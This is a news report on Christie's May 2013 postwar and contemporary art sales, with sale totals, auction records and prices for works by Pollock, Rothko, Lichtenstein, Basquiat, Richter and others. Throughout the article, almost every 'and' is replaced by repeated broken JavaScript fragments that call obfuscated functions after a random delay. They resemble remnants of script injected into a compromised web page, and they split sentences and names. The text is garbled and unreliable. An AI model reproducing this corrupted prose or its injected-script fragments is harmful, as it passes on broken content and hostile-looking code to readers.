NEW YORK CITY — On May 15, Christie’s postwar andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and contemporary art evening sale achieved a staggering $495,021,500, with a remarkably strong sell-through rate of 94 percent by value andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and by lot. Bidders from around the world competed for an exceptional array of Abstract Expressionist, Pop andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Contemporary works from some of the century’s most inspiring andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and influential artists, including Jackson Pollock, Roy Lichtenstein andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Jean-Michel Basquiat. The sale featured a range of superlative works from private collections andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and institutions, such as the collection of Celeste andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Armandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Bartos andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the estate of Andy Williams. The sale established 16 new world auction records, selling nine works for more than $10 million, 23 for more than $5 million andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 59 for more than $1 million.

For the week, the firm’s postwar andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and contemporary art department set a new benchmark for the art market, raising a staggering total of $638,615,900 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and setting 37 new records during its victorious sale week.

Beginning the week was the 11th Hour Auction on May 13, which proved to be the biggest wildlife charity auction ever staged as it raised $38.8 million andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and set several new auction records. The triumphant evening sale on May 15 raised nearly a half-billion dollars, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the day sales on May 16 — totaling $104.7 million — demonstrated notable successors, setting new records for established andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and emerging artists alike as bidders competed for an array — from the New York School to cutting-edge contemporary — selected from private collections.

The grouping of Abstract Expressionist works led the evening sale, most of all the iconic “Number 19,” 1948, by Jackson Pollock, which sold for $58,363,750, the highest price ever fetched for the artist at auction. Painted during Pollock’s most important period of 1947–49, this jewel-like work that came from an American foundation was the object of a fierce bidding battle from collectors in the saleroom andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and on the telephone. Mark Rothko’s untitled (Black on Maroon) of 1958 is a dazzling example of the artist’s signature color fields, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and was painted the year he began his iconic “Seagram Murals.” Sold for $27,003,750, the work’s sale demonstrated Rothko’s enduring andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and consistent value.

Paintings by Roy Lichtenstein andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Andy Warhol reaffirmed their enduring value this season. Lichtenstein’s 1963 “Woman with Flowered Hat,” a classic Pop picture from the movement’s heyday, sold for $56,123,750, while the artist’s 1994 “Nude with Yellow Flower,” which triumphantly revisits his iconic comic book heroine, sold for $23,643,750. Also sought-after was Warhol’s archetypal “Self Portrait” of 1966, which realized $5,219,750.

The international demandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and for works by contemporary artists was extremely strong; especially the highly anticipated “Dustheads” by Jean-Michel Basquiat. This euphoric masterpiece captures the expressionist zeitgeist of the 1980s in New York. The price, which skyrocketed to $48,843,750 — a new world auction record for the artist — defeated the $26.4 million achieved by Christie’s in November 2012. Another work by Basquiat, “Furious man,” a work on paper from the Andy Williams collection, exceeded the artist’s record for the medium when it sold for $5,723,750 after lengthy competitive bidding.

Strong prices were realized for works by European master painters, notably Piero Manzoni’s “Achrome,” which epitomizes the Italian artist’s best-known series. It sold for a world auction record price of $14,123,750 to a European collector. Gerhard Richter’s vibrant “Abstraktes Bild, Dunkel (613-2)” also sold well, fetching $21,963,750.

Prices reported include the buyer’s premium. For information, 212-636-2000 or www.Christies.com.